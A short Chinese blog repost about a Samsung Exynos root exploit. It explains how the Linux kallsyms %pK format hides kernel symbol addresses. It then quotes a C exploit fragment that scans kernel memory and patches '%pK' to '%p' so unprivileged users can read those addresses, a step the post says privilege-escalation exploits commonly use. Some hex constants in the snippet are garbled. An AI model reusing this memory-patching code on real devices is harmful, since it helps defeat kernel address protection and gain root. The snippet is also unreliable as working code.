zoukankan      html  css  js  c++  java
  • 针对三星Exynos CPU Root漏洞

    因为系统为了保护这些符号地址泄露,而用的一种保护手段,从而使除root用户外的普通用户不能直接查看符号地址;

    原因在于内核文件kallsyms.c中的显示符号地址命令中做了如下限制:

    • seq_printf(m, "%pK %c %s ", (void *)iter->value,
    •                            iter->type, iter->name);

    只需要把其中的%pK换成%p就可以让普通用户查看符号地址了;很多提权漏洞一般会用到此处的修改来获取符号地址。

    源代码:https://android.googlesource.com/kernel/exynos/+/android-exynos-3.4/kernel/kallsyms.c

     search the format string “%pK %c %s ” in memory
    * and replace “%pK” by “%p” to force display kernel
    * symbols pointer
    */
    for(m = 0; m < length; m += 4) { if(*(unsigned long *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0×25206325 && *(unsigned long *)(tmp+2) == 0x00000a73 ) { printf(“[*] s_show->seq_printf format string found at: 0x%08X ”, PAGE_OFFSET + m);
    restore_ptr_fmt = tmp;
    *(unsigned long*)tmp = 0×20207025;
    found = true;
    break;
    }
    tmp++;
    }

    http://code.woboq.org/linux/linux/kernel/kallsyms.c.html#545

  • 相关阅读:
    HDU 1078 FatMouse and Cheese(DP)
    HDU 1160 FatMouse's Speed(DP)
    作业DAY019
    作业DAY018
    作业DAY017
    作业DAY016
    作业DAY015
    作业DAY014
    作业DAY013
    作业DAY012
  • 原文地址:https://www.cnblogs.com/bittorrent/p/3804109.html
Copyright © 2011-2022 走看看